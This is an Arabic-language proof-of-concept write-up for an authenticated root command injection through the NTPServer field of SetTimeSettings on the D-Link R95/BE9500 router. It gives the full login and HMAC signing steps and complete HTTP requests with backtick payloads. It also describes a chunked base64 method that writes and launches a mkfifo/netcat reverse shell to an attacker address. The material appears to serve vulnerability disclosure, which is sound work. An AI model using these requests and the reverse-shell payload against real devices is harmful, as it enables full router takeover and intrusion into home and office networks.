
حقن أوامر موثّق لإثبات المفهوم (PoC) لـ D-Link R95/BE9500 DHMAPI SetTimeSettings، يحقق تنفيذ أوامر عن بُعد (RCE) بصلاحيات الجذر عبر حقن backtick في NTPServer، مع سكربت استغلال كامل.
يحتوي راوتر D-Link R95 BE9500 الذكي Wi-Fi 7 (إصدار البرنامج الثابت BE9500_1.00.16) على ثغرة حقن أوامر في واجهة DHMAPI (SOAP عبر HTTPS) عند معالجة طلبات SetTimeSettings. يتم تخزين الحقل <NTPServer> الذي يتحكم فيه المستخدم في قاعدة بيانات الإعدادات دون أي تعقيم أو تحقق من محارف shell الوصفية. لاحقًا، عند مزامنة الإعدادات إلى UCI (ntpclient.@ntpserver[0].hostname)، تقوم خدمة الواجهة الخلفية المصابة ببناء وتنفيذ أمر shell محاط بعلامات اقتباس مزدوجة عبر استدعاء شبيه بـ system(). من خلال حقن علامات backtick (```) في قيمة <NTPServer>، يمكن للمهاجم تحقيق استبدال الأوامر — حيث يقيّم shell المحتوى المحقون قبل تنفيذ الأمر المُدمج، مما يسمح بتنفيذ أوامر عشوائية بصلاحيات root (uid=0).
يتطلب الهجوم جلسة إدارة ويب صالحة (sid) يتم الحصول عليها عبر وصول مُصادق عليه (تم اختباره بحساب المسؤول Admin). تتفاقم هذه الثغرة بشكل أكبر بسبب بيانات الاعتماد الافتراضية الضعيفة للجهاز أو مشكلات تجاوز المصادقة المحتملة، مما يوسع بشكل كبير سطح الهجوم في العالم الحقيقي.
يمكن لمهاجم مُصادق عليه تنفيذ أوامر عشوائية بصلاحيات root، مما يؤدي إلى اختراق كامل للجهاز — بما في ذلك قراءة الملفات الحساسة (مثل /etc/rg_config/admin المشفّر، وتفريغ نسخ احتياطية كاملة للإعدادات)، وتثبيت أبواب خلفية دائمة، وإنشاء reverse shells، والتحرك داخل الشبكة الداخلية لشن هجمات جانبية.
تقع الثغرة في الملف التنفيذي للواجهة الخلفية لإدارة الويب /bin/ssi (يعمل بصلاحيات root)، والذي ينفذ واجهة DHMAPI SOAP.
مصدر التلوث — معالج SetTimeSettings (الدالة عند الإزاحة 0x6bd84 في ssi، البرنامج الثابت 1.01B06):
<NTPServer> من طلب SOAP إلى مخزن مؤقت على المكدس، بحد أقصى للطول 0x3f (63 بايت) — وهذا حد لحجم المخزن المؤقت، وليس فحصًا أمنيًا.time.value.NTPServer عبر setter داخلي — لا يتم إجراء أي تصفية أو تهريب لمحارف shell الوصفية في أي مرحلة.مصب التلوث — مزامنة الإعدادات إلى UCI. يقوم ssi بمزامنة قيم الإعدادات عبر دمجها في سلاسل أوامر shell يتم تنفيذها عبر استدعاءات شبيهة بـ system(). تشمل سلاسل التنسيق المضمّنة الموجودة في الملف التنفيذي:
uci set %s="%s" > /dev/null
نظرًا لأن القيمة محاطة بـ علامات اقتباس مزدوجة، يقوم shell بإجراء استبدال الأوامر على علامات backtick (`) / $() داخل القيمة قبل تشغيل الأمر المُدمج. وبما أن ssi يعمل بصلاحيات root، يُنفَّذ الأمر المحقون بصلاحيات root.
تؤكد أدلة التوقيت أن التقييم يحدث بشكل متزامن داخل مسار معالجة الطلب: حقن `sleep 10` يؤخر استجابة HTTP بنحو 10 ثوانٍ. كما تستمر القيمة المسمومة في UCI (ntpclient.@ntpserver[0].hostname) ويستهلكها لاحقًا /bin/start_ntpclient.sh بدون علامات اقتباس (ntpclient -s -h $HOSTNAME)، وهي ثغرة تقوية ثانوية.
قيود الاستغلال (تم التحقق منها):
| القيد | النتيجة المتحقق منها |
|---|---|
| طول الحقل | ≤ 63 بايت مقبول؛ 60 بايت مقبول، 80 بايت مرفوض (HTTP 400) |
محرف & | يجب ألا يظهر (يكسر سطر الأمر المُدمج) |
| صيغة الحقن | تم التحقق من علامات backtick `cmd`؛ يُتوقع أن يعمل $(cmd) بالمثل |
| سياق التنفيذ | uid=0(root) gid=0(root) |
| قناة الإخراج | لا يوجد echo مباشر؛ إعادة التوجيه إلى جذر الويب (> /www/<file>) والاسترجاع عبر HTTP GET |
يجب أن تحمل جميع طلبات DHMAPI ما يلي:
Cookie: uid=<session cookie> (من تسجيل الدخول)API-AUTH: <UPPERHEX(HMAC-SHA256(privkey, ts+action))> <ts>API-ACTION / SOAPAction المطابقة لإجراء SOAP، بالإضافة إلى User-Agent وReferer (فقدان UA/Referer يؤدي إلى HTTP 400/500)ts هو طابع زمني بالمللي ثانية؛ الجهاز لا يتحقق من الحداثة، لذا يمكن إعادة استخدام قيمة ثابتةاشتقاق privkey:
Login / Action=request (موقّع بسلسلة المفتاح الثابت withoutloginkey) يعيد Challenge وCookie وPublicKey وSaltHashe = base64(PBKDF2-HMAC-SHA256(password, SaltHash, 5000, 32)) (أو كلمة المرور العادية عند غياب SaltHash)privkey = UPPERHEX(HMAC-SHA256(key = PublicKey + e, msg = Challenge))LoginPassword = UPPERHEX(HMAC-SHA256(key = privkey, msg = Challenge))Login / Action=login مع ما سبق يعيد <LoginResult>success</LoginResult>؛ تستخدم الطلبات اللاحقة Cookie: uid=<step-1 Cookie> موقّعة بـ privkeyPOST /DHMAPI/ HTTP/1.1
Host: 192.168.2.254:18443
User-Agent: Mozilla/5.0
Content-Type: text/xml; charset=utf-8
API-ACTION: Login
API-AUTH: <HMAC(privkey="withoutloginkey", ts+"Login")> <ts>
SOAPAction: "Login"
Referer: https://192.168.2.254:18443/info/Login.html
Content-Length: <len>
Connection: close
<?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><Login><Action>request</Action><Username>Admin</Username><LoginPassword></LoginPassword><Captcha></Captcha></Login></soap:Body></soap:Envelope>

POST /DHMAPI/ HTTP/1.1
Host: 192.168.2.254:18443
User-Agent: Mozilla/5.0
Content-Type: text/xml; charset=utf-8
API-ACTION: Login
API-AUTH: <HMAC(privkey, ts+"Login")> <ts>
SOAPAction: "Login"
Referer: https://192.168.2.254:18443/info/Login.html
Cookie: uid=<step-1 Cookie>
Content-Length: <len>
Connection: close
<?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><Login><Action>login</Action><Username>Admin</Username><LoginPassword><computed per Section 2></LoginPassword><Captcha></Captcha></Login></soap:Body></soap:Envelope>
المتوقع: <LoginResult>success</LoginResult>.

POST /DHMAPI/ HTTP/1.1
Host: 192.168.2.254:18443
User-Agent: Mozilla/5.0
Content-Type: text/xml; charset=utf-8
API-ACTION: SetTimeSettings
API-AUTH: <HMAC(privkey, ts+"SetTimeSettings")> <ts>
SOAPAction: "SetTimeSettings"
Referer: https://192.168.2.254:18443/info/Login.html
Cookie: uid=<session cookie>
Content-Length: <len>
Connection: close
<?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><SetTimeSettings><NTPServer>`id > /www/m_id.txt`</NTPServer><Enabled>true</Enabled></SetTimeSettings></soap:Body></soap:Envelope>

GET /m_id.txt HTTP/1.1
Host: 192.168.2.254:18443
User-Agent: Mozilla/5.0
Referer: https://192.168.2.254:18443/info/Login.html
Connection: close
نص الاستجابة الملاحظ:
uid=0(root) gid=0(root)

<NTPServer>`sleep 10`</NTPServer>
تتأخر استجابة HTTP بنحو 10 ثوانٍ؛ بينما يعود اسم خادم NTP سليم فورًا.
يتم تجاوز حد الحقل البالغ 63 بايت عبر كتابة سكربت في أجزاء base64:
SetTimeSettings متكررة، كل منها يضيف جزءًا واحدًا:
`echo -n <b64-fragment> >> /tmp/x``base64 -d /tmp/x > /tmp/rs.rs`/tmp/rs.rs (لاحظ المسافات الإلزامية حول الأنابيب لـ busybox ash):
rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | sh -i | nc <attacker-ip> 4444 > /tmp/f`sh /tmp/rs.rs`